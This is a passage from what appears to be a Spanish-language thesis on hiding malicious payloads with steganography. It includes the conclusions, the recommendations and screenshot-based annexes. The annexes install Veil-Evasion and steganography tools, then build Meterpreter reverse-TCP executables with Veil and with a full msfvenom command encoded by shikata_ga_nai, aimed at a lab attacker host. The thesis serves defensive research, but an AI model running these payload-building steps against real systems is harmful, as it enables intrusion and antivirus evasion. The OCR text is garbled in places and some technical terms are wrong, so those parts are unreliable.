VirusTotal y Hybrid Analysis. Esto subraya la necesidad urgente de adoptar una postura de
defensa en profundidad, que combine soluciones tecnoldgicas, analisis forense y capacitacion
constante. La prevencion de ataques esteganograficos no solo depende de la tecnologia, sino
también del fortalecimiento de politicas de seguridad y del compromiso activo de todos los

actores involucrados en la proteccion de los sistemas de informacion.
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CONCLUSIONES

» Se desarroll6 un estudio comparativo sobre las técnicas tradicionales y avanzadas de
esteganografia a través de busqueda exhaustiva de informacion. Las comparaciones
se desarrollaron en base a estado de funcionamiento, impacto y diferencias en la
insercion de payloads maliciosos, que ayudan a comprender como ha evolucionado
esta disciplina de ser conocido desde métodos simples en orientarse en ocultamiento
de informacién hasta complejos procedimientos capaces de insertar payloads
maliciosos de forma casi indetectable. Por lo tanto, su impacto radica directamente
en el nivel de amenazas que representa dando un incremento en ciberataques.

» Se implementaron cuatro técnicas de esteganografia como, LSB (Least Significante
Bit), DCT (Dual Clutch Transmission) en imagenes PNG y JPEG, y junto con OLE
(Object Linking and Embedding) en documentos PDF. Estas técnicas demostraron su
utilidad para insertar paylodas maliciosos de forma reservada y dificil de descubrir.
La técnica LSB y DCT cuentan con una simplicidad y mayor sigilo al operar en
cuestiones de comprimir archivos, mientras que la técnica OLE es considerada mas
peligrosa debido a ademés de comprimir archivos también tiene la capacidad de
ocultar codigo dentro de diferentes tipos de archivos. En conjunto, estas practicas
reflejan un aporte potencial como herramienta para evadir sistemas de deteccion con

el fin de resaltar el andlisis y seguridad de entornos digitales.

» Se disefiaron 3 escenarios de pruebas para simular ciberataques en un entorno virtual
controlado que permita analizar las técnicas de esteganografia y su comportamiento
en distintos sistemas operativos. En la prueba S.O Windows 10 se aplicaron las
técnicas LSB en imagen y OLE documento PDF para evadir mecanismo de seguridad
y recolectar informacion del sistema que incluye también la captura de pantalla. Por
otro lado, en S.O Ubuntu Linux se empled la técnica OLE con la finalidad de validar

el escalamiento de privilegios y tomar el control de la maquina victima.

» Estas pruebas dieron como resultado que, pese a su aparente inocencia, los archivos

camuflados mediante técnicas esteganograficas pueden ser utilizados para distribuir
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y ejecutar cargas maliciosas. A partir de este punto, se evidencié una reduccion
aproximada del 90-100% en la tasa de deteccion por herramientas como VirusTotal
y Hybrid Analysis, incluso frente a payloads originalmente clasificados como
troyanos. Con un nivel de complejidad media y tiempos de ejecucion de 30 a 40
minutos, se comprobo la alta efectividad técnica de la esteganografia como vector de
evasion, tanto en analisis estatico como dindmico, lo que refuerza la necesidad de
fortalecer los mecanismos de monitoreo tecnologico mediante enfoques de andlisis

profundo y comportamiento anémalo.

39



RECOMENDACIONES

» Es necesario implementar herramientas de deteccion especializada que cumplan la
funcion de identificar modificaciones no evidentes de los formatos de archivos de
multimedia como los documentos, ser capaces de analisis de bits, patrones anomalos,
estructuras de compresion o inserciones ocultas. Ademads, estas soluciones

comprenderan la importancia de salvaguardar los entornos tecnologicos.

» Disefiar entornos de laboratorio virtual donde se simulen ciberataques reales con
técnicas de esteganografia, para permitir evaluar el comportamiento del malware en
condiciones controladas, medir la eficacia de las defensas actuales y proporcionar

protocolo de respuestas rapida de las situaciones presentadas.

» Esimportante emplear una guia de buenas practicas que cuente con recomendaciones
para mitigar los tipos de ataques cibernéticos relacionados con técnicas de
esteganografia en contexto de extraccion de informacion o control remoto, con el fin
de mejorar la seguridad informéatica de manera significativas para reducir el riesgo de

intrusiones encubiertas.

» Desarrollar nuevos escenarios de pruebas que incluyan entornos relacionado con la
vida real, escenarios complejos como dispositivos moviles, redes corporativas,
servicios en la nube, que permitan validar el nivel de criticidad de insercién de
payloads maliciosos con técnicas de esteganografia, y proponer mecanismos de

defensa.
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ANEXO #1
FASE DE INTERACION
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Instalacion de Maquina Virtual Windows_10

1. Se crea la maquina correspondiente “Windows 10 Prueba” y se establece las
configuraciones pertinentes como el tipo de sistema operativos, la version y la localizacion.

¥ Crear maquina virtua

Nombre y sistema operativo de la maquina virtual

maquina virtual, El noml usado por
e, puede selecdonar una image = a para instalar

10_Prueba
s\ganapVirtu,

<no selecdonado >

Tipo:  Microsoft Windows

i6n:  Windows 10 (54-bit)

[i I hay imagen 150 ona invitado sera necesario instalarle manualmente,

Ayuda Modo experto Siguiente

2. Se establece en la pestania Hardware la cantidad de RAM y procesadores para la maquina
virtual, se establece 3322 MB y 2 procesadores.

¥ Crear maquina virtual

Hardware

Puede el hardware de la maquina virtual cambiando la cantidad de RAM y numerc U virtuales.
sible habilitar EFT.

Memoria base:

4CPUs

Ayuda Anterior Siguiente

Imagen 2; Configuracion de Hadware — Maquina Windows
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3. En el disco duro virtual se establece la cantidad significativo a la maquina virtual, que este
caso es de aproximadamente 50,00 GB

¥ Crear maquina virtual ? X

Disco duro virtual

) duro vitual a la nueva mdquina. Puede crear un nue
ma alternativa puede crear una maquina virtual sin un «

® Crear un disco duro virtual ahora
Tamafio de disco:

4,00 MB 2,00TB

Usar un archivo de disco duro virtual existente

No afiadir un disco duro virtual

Anterior

Imagen 3: Configuracion de disco virtual - Maquina Windows

4. Definicion final de la configuracion de la maquina virtual “Windows 10 Prueba”.

¥ Crear maquina virtual ? X

Resumen

694,75 GB
mpleto falze

Anterior Terminar

Imagen 4: Resume final de configuracién — Maquina Windows
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5. Iniciar la maquina virtual se presenta el mensaje de falld, debido que no se ha incorporado
la imagen Iso, se inserta el DVD a la maquina y dar clic en montar y reintentar inicio

Archivo Maguina Ver Entrada Dispositivos Ayuda
Mo bootable medium found?
Please insert a bootable medium and reboot. m

Autocapturar tedado...
& VirtualBoxVM

n un orden de arrangue
figurado. Montar un de instal
de soluc e problema

DvD: |
Mo mostrar este didlogo de nuevo

Montar y reinterntar inicio

Imagen 5: Insertar imagen iso de Windows — Maquina Windows

6. Se procede el inicio de la maquina Windoes 10 Prueba

Imagen 6: Proceso de encendido — Maquina Windows
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7. Se presenta el portal de instalacion de Windows 10, se da en siguiente para continuar con el
proceso de instalacion en la maquina virtual.

Achivo Maguna Ver Entrada Dispostivos Ayuda

Integracin e ratén...

+4 Programa de instalacién de Windows

a8 Windows

Imagen 7: Portal de inicio de instalacion — Maquina Windows

8. Aparece otro portal de instalacion, pero en este caso se presenta el icono de Instalar ahora,
dar clic para continuar con el proceso.

Acdivo Magquna Ver Entrada Dispositvos Ayuda

s Programa de instalacién de Windows

a3 Windows

Instalar ahora

Imagen 8: Portal de instalacion — Maquina Windows
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9. En la siguiente pestafia se presenta la activacion de windows, en este caso no se cuenta con
un serial de activacion, por ello se da en clic en no tengo una clave de producto.

Integracién de ratdn

ok Programa de instalacién de Windows

iona No tengo clave de producto. Tu copia de Windows se
tarde

Imagen 9: Portal de activacion licencia — Maquina Windows

10. A continuacion, se seleccionas el sistema operativo en cuestion a usar, en este caso sera
Windows 10 pro.

&5 & Programa de insaiscién de Windows

perativo que quieres instalar

ingle Language

Imagen 10: Portal de Windows de instalacion — Maquina Windows
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11. En la siguiente ventana se acepta terminas y condiciones de las actualizaciones de Windows,
y una vez marcada la casilla se da clic en siguiente.

Integracién de ratén.

& i Programa seinstlacion de Windows

Avisos y términos de licencia aplicables

Ultima actualizacién en junio de 2021
TERMINOS DE LICENCIA DEL SOFTWARE DE MICROSOFT

SISTEMA OPERATIVO WINDOWS

S VIVE EN (O SU DOMICILIO COMERCIAL PRINCIPAL SE ENCUENTRA

EN) LOS ESTADOS UNIDOS, LEA LA CLAUSULA DE ARBITRAJE
VINCULANTE Y LA RENUNCIA A DEMANDAS COLECTIVAS EN LA

SECCION 11. AFECTA A LA FORMA EN LA QUE SE RESUELVEN LAS
DISPUTAS.

iLe agradecemos que haya elegido Microsoft!

[ Acepto los téminos de licencia

[ siguiente

Imagen 11: Términos y condiciones — Maquina Windows

12. Se comienza la instalacion de Windows correspondientemente.

i Programa deinstalacién de Windows.

Instalando Windows

Estade

instalacién (7%)

Imagen 12: Instalacion de Windows 10
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13. Al inciar la configuracion de Windows se establece la configuracion de la region, en este
caso serd Ecuador.

Empecemos por la region. ;Es correcta?

Dinamarca

Dominica

Ecuador

Egipto

Eritrea

Imagen 13: Panel de configuracion de region — Maquina Windows

14. En la distribucion de teclado, se selecciona para la configuracion Latinoamericano.

;Esta es la distribucion del teclado correcta?

Si usas otra distribucién del teclado, puedes agregarla a continuacion.

Latinoamericano
Espafiol

Variacién del espaiiol
Albanés

Alemén

Alem4n (IBM)

Alemén suizo

Imagen 14: Panel de configuracion de distribucion teclado — Maquina Windows
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(134

15. En la configuracion de la maquina como nombre se establece “’Prueba_Tesis”

Archivo Maguna Ver Entrada

;Quién va a usar esta PC?

#Qué nombre guieres usar?

L

Prusba_Tesi] X

Mejor atn, usa una cuenta en linea Siguiente

Imagen 15: Panel de configuracion nombre PC — Maquina Windows

16. Para establecer la contrasefia, se establece una fiable y correcta, en este caso se inserto la
contrasefia, prueba_tesis 123

Confirmar contrasefia

Escribe la contrasefia una vez mas

Mejor atin, usa una cuenta en linea Siguiente

Imagen 16: Panel de configuracién contraseiia — Maquina Windows
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17. Se vuelve a reconfirmar la contrasena establecida y dar clic en siguiente.

Confirmar contrasefia

Escribe la contrasefia una vez mds

L

Mejor atn, usa una cuenta en linea Siguiente

Imagen 17: Contraserfia verificada — Mdaquina Windows

18. Maquina Windows 10 instalada correctamente.

iquina Ver Entrada  Dis

Pantalla

Color

Sistema Luz noctuma

@ ) Desactivado

S Baterfa Configuracién de luz nocturma
=2 Almacenamients .
Windows HD Celor
Tableta

| Muttitareas Configurac

Proyectar en este equipo

Escala y disefio

Experiencias compartidas _
Cambiar el tamaiio del texto, las aplicaciones y otros elementos

Portapapeles 100% (recomendado)

Configuracitn avanzada de sjuste de escala
Escritorio remoto

Resolucién de pantalla
Acerea de
1024 = 768

Orientacién de Ia pantalla

Horizontal

Imagen 18: Maquina Windows instalada correctamente
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HERRAMIENTAS ESPECIALIZADAS PARA EL ESTUDIO
Instalacion de Veil — Evasion

99

19. Se procede actualizar los componentes con el comando “apt-get upgrade

File Actions Edit View Help

/home/kali

Imagen 19: Actualizacion de componentes upgrade

20. Comienza el proceso de actualizacion para la maquina Kali Linux

Sem

File Actions Edit View Help

Imagen 20: Proceso de actualizacién de componentes de Kali Linux
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21. Con el comando “apt-get update” se actualiza todos los paquetes

root@kali: homeial

File Actions Edit View Help

Imagen 21: Actualizacion de paquetes con update

22. Proceso de actualizacion de los paquetes

BNemP ol

File Actions Edit View Help

/home/kali

Imagen 22: Proceso de actualizacién
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23. Con el comando “apt-get veil” se instala la herramienta correspondiente a utilizar para crear
payloads

Imagen 23: Instalacion de Veil - Evasion

24. Con el comando veil se comienza la instalacion correspondiente e insertando y para continuar

File Actions Edit View Help

/home/kali

] Are you sure you wish to install Veil?

Continue with installation? ([yJes/[s]ilent/[N]o): yil

Imagen 24: Ejecutar comando veil para el proceso de instalacion
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25. Se procede a instalar Python3.4, dar clic en next

Neomp

File Actions Edit View Help

Python 344 Setup

Select whether to install Python 3.4.4 for all
users of this computer.

© install for all users.

Tnstall fust for me (not available on Windows Vista)

python

windows

Next = Next —» Next - Finished! ...Overwrite if prompt (use default values)

Imagen 25: Instalacion de Python 3.4

26. Seleccionar la ubicacion de la carpeta de instalacion de python 3.4

Archive Maquna Ver &

Neoemp

File Actions Edit View Help

Python 3.4.4 Setup

Select Destination Directory

Please select a directory for the Python 3.4.4 files

a Python34 Up | New

python

. C:\Python34\
windows

Next — Next — Next — Finished! ...Overwrite if prompt (use default values)

hall

Imagen 26: Configuraciéon predeterminada de Python 3.4
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27. Instalar todos los componentes que cuenta Python 3.4

File Actions Edit View Help

Python 3.4.4 Setup
Customize Python 3.4.4

the way you want features to be installed
Qick on the icons in the tree below to change the
way festures will be installed

Multiline descrip! cumently selected
tem.

python
p The sz of the curentl selected tem.
windows

Disk Usage:

Next —» Next - Next —» Finished!

Imagen 27: Instalacion de componentes de Python 3.4

28. Inicia el proceso de instalacion de Python 3.4

File Actions Edit View Help

Python 3.4.4 Setup

Please wait while the Installer installs Python 3.4.4. This may take

s Copying new files

Next — Next — Next — Finished!

...Overwrite if prompt (use default values)

Imagen 28: Proceso de instalacion de Python 3.4
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29. Se abre una terminal como segundo plano para continuar con la instalacion de mas
dependencia de Python 3.4

Archivo  Miquin: ads Dispositivos  Ayuda

CAPython3dipy

ile the Installer installs Python 3.4.4. This may take

Overwrite if prompt (use default values)

Imagen 29: Proceso de segundo plano de instalacion de Python 3.4

30. Proceso de instalacion finalizada

Archive Maquna Ver Entrada D:

NeompkP»™]

File Actions Edit View Help

Python 3.4.4 Setup

Complete the Python 3.4.4 Installer

Special Windows thanks to:
Mark Hammond, without whose years of freely
shared Windows expertise. Python for Windows
would stil be Python for DOS

python

Qlick the Finish button to exit the Installer

windows

Next — Next — Next — Finished! ...Overwrite if prompt (use default values)

hat

Imagen 30: Proceso de finalizacion de Python 3.4
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31. Instalacion de pywind32-220, dar clic en next

Archivo Msquina Ver Entrada Dispositivos  Ayuda

BmmP O 25t

pywin32-220

Imagen 31: Instalacion de Pywind32-220

32. Seleccionar carpeta de instalacion de la herramienta

Puthon 34 is required for this package. Select nstalisbon to use:

Pulhon Verson 34 (lound n iegisir

Pyhon Diecton  [C\Rgharady

Installation Directony [C\Pythond#\Lb\ste packagesh

<o | > | o |

Imagen 32: Seleccionar de carpeta de instalacién de Pywin32-220
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33. Inicia el proceso de instalacion de pywin32-220

Archivo Miquna Ver Entrads Dispostivos Ayuda

S emPoil-

pywin32-220

Imagen 33: Proceso de instalacion de Pywin32-220

34. Proceso de instalacion de pycrypto-2.6.1

Archivo Maquina Ver Entrada Dispositivos Ayuda

B EmP O] 23 4]¢

pycrypto-2.6.1

3 1pto oo your computer. Clck Newt 1o conline o
0 &4k the Selup Wizsd

ayne C. Lizerberger
it dit=@dit net
Cryptogsachic modues for Pyhon.

U
o PYCayplo o1/
1

Buk Sun g 31 136516 2014 with dstutds 341

] o

Imagen 34: Instalacion de Pycrypto-2.6.1
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35. Los siguientes procesos son de dar next hasta empezar en el desarrollo de la herramienta.

Archivo  Maquina Ver Entrada Di

SmP O

pycrypto-2.6.1

Compilng fes 1o pye.

©\Pyhon34\Lib\ste-packages\Cuplo\SelTest\Cpher\_int_ gy

|
| e ]

Imagen 35: Proceso de carga de paquetes de Pycrypto-2.6.1

36. Una vez finalizado aquellas instalaciones, el proceso de instalar veil continuar.

[#] MNext — Next — Next — Finished! ...Overwrite if prompt (use default values)

Python's pycryg 6.1.wind2-py3 . 4.¢

] Next —» Next —» Next = Finished! ...Overwrite if prompt (use default values)

Imagen 36: Continua el proceso de instalacion de Veil — Evasion
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37. Instalacion de Ruby

e

Flle Actions Edit View Help
essfully installed pip-19.1

Next - Next — Next - Finished! ...Overwrite if prompt (use default values)

Imagen 37: Instalacion de Ruby

38. Inicia proceso de instalacion tras confirmar los procesos anteriores

File Actions Edit View Help

essfully installed pip-19.1

Next —» Next —» Noxt - Finished! ...Overwrite if prompt (use default values)

Imagen 38: Proceso de instalacion de Ruby
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39. Continua el proceso de instalacion de la herramienta Veil

File Actions Edit View Help

A\

] Next —» Next — Next — Finished! ...Overwrite if prompt (use default values)

Next —» Next —» Noxt -» Finished! ...Overwrite if prompt (use default values)

Imagen 39 Continua instalacion de Veil — Evasion después de Ruby :

40. Comienza el proceso de instalacion de Autolt con todas sus dependencias.

File Actions Edit View Help

Next — Next — Next — Finished! ...Overwrite if prompt (use default values)

Autolt V3342 Setup

Next — Next — Next — Finished! ...Overwrite if prompt (use default values)

Imagen 40: Proceso de instalacion de Autolt y dependencias
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41. Finaliza el proceso, pero es evidente que la instalacion no esta completa, se debe copiar una
ruta para emplear los ultimos retoques para instalar Veil

Failed to run (wine) Python pip pefile... Exit code: 1

1] If you have any errors running Ve " /Veil.py —setup' and select the nuke the wine folder option

/home/kali

Imagen 41: Ultimos procesos de instalacién de Veil

42. Se copia la ruta a pasar por console para emplear lo pendiente de instalacion

Miquna Ver Entrada Dispostivos Ayuda

\ smPo-

File Actions Edit View Help

Failed to run (wine) Python pip pefile... Exit code: 1

[1] If you have any errors running Veil, run: './Veil.py —setup' and select the nuke the wine folder option

/home/kali

Imagen 42: Se realiza paso de copia de ruta para finalizar Veil
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43. Empieza el proceso de instalacion pendiente de Veil

File Actions Edit View Help

R #2-3: Can't find the

/home/kali

Imagen 43: Proceso de reinstalacion de Veil

44. Se abre una terminal en segundo plano para emplear instalacion de paquetes requeridos

C:\Python34ipython.exe

pi.python.org

Next — Next — Next — Finished! ...Overwrite if prompt (use default values)

Imagen 44: Detalles finales de instalacion de Veil
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45. Procede aun la instalacion de la herramienta veil con paciencia cada uno de los requisitos
de su funcionamiento.

File Actions Edit View Help

Next — Next — Noxt —» Finished! ...Overwrite if prompt (use default values)

Next — Next — Next - Finished! ...Overwrite if prompt (use default values)

t beginning or within zipfi

Imagen 45: Continuacion de proceso de instalacion Veil

46. Finaliza la instalacion correctamente mandando un mensaje de “Done”.

-
‘mP

File Actions Edit View Help

ATH

Failed to run (wine) Python pip pefile... Exit code: 1

1] If you have any errors running Ve run: './Veil.py —setup’ and select the nuke the wine folder option

/home/kali

Imagen 46: Proceso de instalacion de Veil —Evasion Finalizado
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47. Con el comando “veil” se ejecuta la herramienta y se observa un menu como portal con el
comando “use 1” se presenta la opcion de evasion de la herramienta para asi listar los
payloads.

Archive Maquina Ver Entrads Dspostives Ayuda

SeumpPoil-

File Actions Edit View Help

/home/kali

Imagen 47: Portal de Inicio de Veil

48. Con el comando “list” se presenta en lista los Payloads.

© Miquna Ver Entrda Dss

g -" .‘i.,

File Actions Edit View Help

Imagen 48: Comando List para ver la lista de Exploits
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Instalacion de StegoHide

49. Con el comando “apt-gt install steghide” se procede la instalacion de la herramienta

Actions Edit View Help

/home/k

/home/kali
t eghide

Imagen 49: Instalacion de Steghide

50. Se instala todas las dependencias de la herramienta de manera exitosa

Imagen 50: Proceso de instalacion de StegHide
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Instalacion de StegoSuite

51. Con el comando “apt-get install stegosuite” se procede a instalar la herramienta

BNemP ol

File Actions Edit View Help

/home/kali

Imagen 51: Instalacion de StegoSuite

52. Sin embargo, la herramienta ya cuenta en el paquete predeterminado de Kali Linux

Miquna Ver Entrada Disposty

RNiembk

File Actions Edit View Help

/home/kali

/home/kali

Imagen 52: Proceso de instalacion de StegoSuite
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Instalacion de Poweglot

53. Para la instalacion de Powerglot se procede a clonar el repositorio con el comando “git
clone https://github.com/mindcrypt/powerglot.git”

Archivo  Miquina Ver Entrada

S eomP o]

File Actions Edit View Help

/home/kali

clone

Imagen 53: Instalacion de PoweGlot

54. Se clona exitosamente el repositorio de powrglot

File Actions Edit View Help

home/kali

100
100

/home/kali

Imagen 54: Proceso de instalacion de PowerGlot
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Instalacion de outguess

55. Con el comando ““apt-get outguess” se instala las dependencias de la herramienta

File Actions Edit View Help

/home/kali
1stall outgue

Imagen 55: Instalacion de outguess

56. Exitosamente todo es instalado correctamente para su funcionamiento.

File Actions Edit View Help

/home/kali
tall out

/home/kali

Imagen 56: Proceso de instalacion de outguess

73



ANEXO #2
FASE DE INTERVENCION
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DISENO DE PAYLOAD #1: EJECUTABLE .EXE CON VEIL - EVASION

1. Una vez instalado la herramienta veil, se procede a levantar la herramienta con el
comando veil para asi presenciar el menu general.

Archivo Maquina Ver Entrada Dispositivos  Ayuda

B oemPor]| 2 3 2]|F 247 | @ G
3 root@kali: fhome/kali
File Actions Edit View Help Screenshot taken

/home/kali

Completely exi
Informatio n a specific tool

Imagen 57: Creacién de Payload — Veil Evasion

2. Con el comando use 1, seleccionamos la seccion de evasion y se emite el comando
list para observar los payloads existente en la herramienta.

Archivo Maquina Ver Entrada Dispositivos Ayuda

S emPoOr| 23 ¢|H O A gns|ae
-] root@kali: fhomelkali

File Actions Edit View Help Screenshot taken
Available Tools:

1) Evasion
2) Ordnance

Available Commands:

exit Completely exit Veil

info Information on a specific tool
list List available tools

options Show Veil configuration
update Update Veil

use Use a specific tool

Veil>: use 1

Veil-Evasion

Veil-Evasion Menu

41 payloads loaded

Imagen 58: Opcion de seleccion de Payload — Veil Evasion
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Archivo Maquina Ver Entrada Dispositivos Ayuda
| p
I K al
: root@kali: /home/kali
File Actions Edit View Help

15) go/meterpreter/rev_http:
16) go/meterpreter/rev_tcp.py
17) go/shellcode_inject/virtual.py

lua/shellcode_inject/flat.py
perl/shellcode_inject/flat.py

_http.py
_https.py

powershell/shellcode_inject/psexec_virtual.py
powershell/shellcode_inject/virtual.py

python/meterpreter/bind_tcp.py

python/meterpr rev_http.py

python/ rpreter/rev_https.py
python/meterpreter/rev_tcp.py
python/shellcode_inject/aes_encrypt.py
python/shellcode_inject/arc_encrypt.py
python/shellcode_inject/base64_substitution.py
python/shellcode_inject/des_encrypt.py
python/shellcode_injec

python/shellcode_inj ubstitution.py
python/shellcode_inject/pidinject.py
python/shellcode_inject/stallion.py

ruby/meterpreter/rev_http.py
ruby/meterpreter/rev_https.py
ruby/meterpreter/rev_tcp.py
ruby/shellcode_inject/base6s.py
41) ruby/shellcode_inject/flat.py

Veil/Evasions: I

Imagen 59: Lista de Payloads — Veil Evasion

3. Seleccionar mediante el comando use 28 el payload Python/meterpreter/rev_tcp.py

Archivo Maquina Ver Entrada Dispo:
HemPoar|

File Actions Edit View Help

Payload: python/meterpreter/rev_tcp selecte
Required Options:
Name Vvalue Description

CLICKTRACK Optional: Minimum number of clicks cute payload
OMPILE_TO_EXE 4 Compile to an executable
CURSORMOVEMENT Check if cursor is in same position after 30 seconds
DETECTDEBUG k if debugger is present
DOMAIN Optional: Required internal domain
EXPIRE_PAYLOAD Optional: Payloads expire after "Y" days
HOSTNAME X Optional: Required system hostname
INJECT_METHOD virtual virtual, Void, o
LHOST i
LPORT 4hbh
MINRAM FALSE Check for at 1 gigs of RAM
PROCESSORS X Optional: Minimum number of processors
SANDBOXPROCESS FALSE Check for common sandbox processes
SLEEP Optional: Sleep "Y" seconds, check if ac
USERNAME Optional: The required user account
USERPROMPT Make user click prompt prior to ion
USE_PYHERTON Use the pyherion encrypter
Optional: Validates system does not use UTC timezone
VIRTUALDLLS Check for dlls loaded in memory
VIRTUALFILES Optional: Check if VM supporting files exist

Available Commands:

back Go back to Veil-Evasion

t Completely exit Veil
generate Generate the payload
options Show the shellcode's options
set Set shellcode option

Imagen 60: Selecciéon de Payload — Evail Ev
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4. Mediante el comando set lhost se inserta la direccion de la maquina atacante para
ejercer la configuracion pertinente del payload.

Archivo Maquina Ver Entrada Dispositivos Ayuda

&‘EV“] y [

= root@kali: fhome/kali
File Actions Edit View Help

LHOST The listen target address /home/kali
LPORT Lbbh The 1 n port f
MINRAM FALSE Check for at least 3 gigs of RAM eth@: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
PROCESSORS Optional: Minimum number of processors inet 192.168.100.29 netmask 255. 255.0 broadcast 192.168.100.2
SANDBOXPROCESS S Check for common sandbox processes inet6 fe80::7729:4all:eaak:a5fc prefixlen scopeid 0x20<link:
SLEEP Optional: S " seconds, check if acce ther 100:27:04:42:0f txqueuelen 1000 (Ethernet)
USERNAME Optional er X 734 bytes 53690 (52.4 KiB)
USERPROMPT Make user cl errors 0 dropped @ overruns 0 frame 0
USE_PYHERION N Use the pyherion encrypter X packets bytes 12781 (12.4 KiB)
Optional: Validates system does not use UT errors @ dropped @ overruns @ carrier 0 collisions @
VIRTUALDLLS Check for dlls loaded in memory
VIRTUALFILES S Optional: Ch if VM supporting files exi § 73<UP, LOOPBACK,RUNNING> mtu 65536
7.0.0.1 netmask 255.0.0.0
Available Commands: 6 len 128 scopeid @x10<host>
txqueuelen 1000 (Local Loopback)

Go back to Veil-Evasion X packets 8 bytes 480 (480.0 B)

Completely exit Veil errors 0 dropped 0 overruns @ fra

Generate the payload X packets 8 bytes 480 (480.0 B)

options Show the shellcode’s options errors 0 dropped @ overruns @ carrier 0 collisions @
set Set shellcode option

[python/meterpreter/rev_tcp>>]: set lhost 192.168.100.29[] /home/kali

Imagen 61: Configuracion de payload insertando LHOST — Veil Evasion

5. Se configurar el puerto de escucha de la maquina atacante

Archivo Maquina Ver Entrada Dispositivos Ayuda

B omPar]| { OO A 224 | @ &

root@kali: fhome/kali

File Actions Edit View Help

MINRAM FALSE Check for at least 3 gigs of RAM /home/kali
PROCESSORS X Optiona inimum number of processors f
SANDBOXPROCESS FALSE Check for common sandbox processes ethd: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
SLEEP Optional: Sleep seconds, check if acce inet 192.168.100 netmask 5.255.255.0 broadcast 192.168.100
lerated inet6 fe80@::7729:4all:eaak:a5fc prefixlen 64 scopeid 0x20<linl
USERNAME Optiona he required user account g f txqueuelen 1000 (Ethernet)
USERPROMPT S Make user click prompt prior to execution ackets 734 bytes 53690 (52.4 KiB)
USE_PYHERION Use the pyherion encrypter X errors @ dropped @ overruns @ frame @
UTCCHECK Optional: Validates system does not use UT packets 134 bytes 12781 (12.4 KiB)
C timezone errors @ dropped @ overruns @ carrier @ collisions @
VIRTUALDLLS Check for dlls loaded in memory
VIRTUALFILES Optional: Check if VM supporting files exi F <UP, LOOPBACK,RUNNING> mtu 65536
st inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
Available Commands: loop txqueuelen 1000 (Local Loopback)
RX bytes 480 (480.0 B)
ck to Veil-Evasion X er dropped @ overruns 0 frame @
bytes 480 (480.0 B)
dropped @ overruns @ carrier 0 collisions 0
s options
Set shellcode option
/home/kali

[python/meterpreter/rev_tcp>>]: set lport 444s]]

Imagen 62: Configuracion de puerto de escucha — Veil Evasion

77



6. A través del comando generate, se proporciona la opcion de respuesta para insertar
el nombre al payload a generar.

=
Archivo  Maquina Ver Entrada Dispositivos Ayuda

B EmPoO-|1 23 ¢

) root@kali: /home/kali
File Actions Edit View Help
MINRAM FALSE Check for at least 3 gigs of RAM

PROCESSORS X Optional: Minimum numb

SANDBOXP FALSE Check for common db

SLEEP X Optional: Sleep

lerated

USERNAME X ional: The required user

USERPROMPT FALSE 4 click prompt prior to execution
USE_PYHERION N Use the pyherion encrypter

UTCCHECK FALSE Optional: Validates system does not use UT
C timezone

VIRTUALDLLS FALSE Check for dlls loaded in memory
VIRTUALFILES FALSE Optional: Check if VM supporting files exi
st

Available Commands:
back Go back to Veil-Evasion
exit Completely exit Veil
generate Generate the payload
options Show the shellcode's options
set Set shellcode option
[python/meterpreter/rev. generate

Veil-Evasion

[>] Please enter the base name for output files (default is payload): prueba_veilll

Imagen 63: Generacion Payload — Evail Evasion

7. Una vez definido el nombre al payload, se da la opcion 1 de ejercer como instalador
pylnstaller por defecto.

Archivo Magquina Ver Entrada Dispositivos Ayuda
; : , =
SemPof| 1 23 4 |H]

] root@kali: fhome/kali
File Actions Edit View Help

options Show the shellcode's options
set Set shellcode option

[python/meterpret ) ]: generate

Veil-Evasion

[?] How would you like to create your payload executable?

1 - PyInstaller (default)
2 - Py2Exe

[>] Please enter the number of your choice: 1l

Imagen 64: Asignacion de nombre Payload — Veil Evasion
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8. Una vez cargado efectivamente el Payload, se presentan las rutas y algunos archivos
en cuestion creados, en el caso interesa el .exe

Archivo Méquina Ver Entrada Dispos

Ve m

root@kali: fhome/kali

File Actions Edit View Help
16570

pr il.py
1/output/handlers/prueba_v

Hit enter to continue...

Imagen 65: Ruta de ubicacion del Payload — Evaiil Evasion

9. Se copia la ruta en donde se localiza el archivo .exe y con el comando cp, copiar en
el home principal de la maquina atacante

Archivo  Maquina Ver Entrada Dispositivos Ayuda
1|1 2 4 O D A QBN | e C
root@kali: fhome/kali

File Actions Edit View Help

18512 INFO: Building EXE because out@@-EXE.toc is non existent

18513 INFO: Building EXE from out@@-EXE.toc /home/kali
18518 INFO: Appending archive to EXE Z:\usr\share\veil\dist\prueba_veil.exe

18572 INFO: Building EXE from out@0-EXE.toc completed successfully.

/home/kali
/var/lib/veil/output/compiled/prueba_veil.exe /home/kali
[Web]: https://vw.veil-framework.com/ | [Twitter]: @VeilFramework

/home/kali
[*] Language: python 1
[ L Module: python/meterpreter/rev_tcp total 4692
[*] Executable written to: [ b/veil/output/compiled/p Ve kali i 4096
[*] Source code written 1ib/veil/output/source/prueb y kali i 4096
[*] Metasploit Resou: i to: /var/lib/veil/output/handlers/prueba_vei r i i 4096
i kali 4096
Hit enter to continue v kali kali 4096 3
root 4770578 :30 prueba_veil.exe
i kali 4096 135
i kali 4096
i kali 4096

/home/kali

Imagen 66: Seleccion de ruta Payload — Veil Evasion
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DISENO DE PAYLOAD #2 - EJECUTABLE .EXE CON MSFVENOM

10. Mediante el comando msfvenom — p Windows/meterpreter/reverse tcp lhost
192.168.100.29 Iport 444 —f exe —e x86/shikata ga nai —i 5 —o payload.exe se realiza
la creacion del payload malicioso para Windows.

Archivo Méquina Ver Entrada Dispositivos Ayuda

S ommP ]| 2 3

root@kali: fhome/kali

File Actions Edit View Help

/home/kali

windows/meterpreter/reverse_tcp LHOS .168.100.29 LPORT=4444 exe x86/shikata_ga_nai 5 payload.exell

Imagen 67: Creacion de Payload — Msfvenom

11. Tras ejecutar el comando, se procede al crear al archivo y se muestra la informacién
del mismo, como el tamafio y las iteraciones presente.

Archivo Maquinz Ver Entrada Dispositivos Ayuda
S emPor-

2 root@kali: fhome/kali
File Actions Edit View Help

/home/kali
/ 0RT=4444 —f exe -e x86/shikata_ga_nai -i 5 -0 payload.exe
s from the payload

ikata_ga_nai

/home/kali

Imagen 68: Payload creado exitosamente — Msfvenom
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12. Se emite el comando Is —1 y se observa en lista el payload creado por msfvenom

=

Archivo Méquina Ver Entrada Dispositivos  Ayuda

S omPOrl|1 2 3 4| oOHa BB4ac
; root@kali: fhome/kali

File Actions Edit View Help

/home/kali

total 4768
2 kali kali 4096 Apr
2 kali kali 4096 Apr
2 kali kali 4096 Apr 13 1

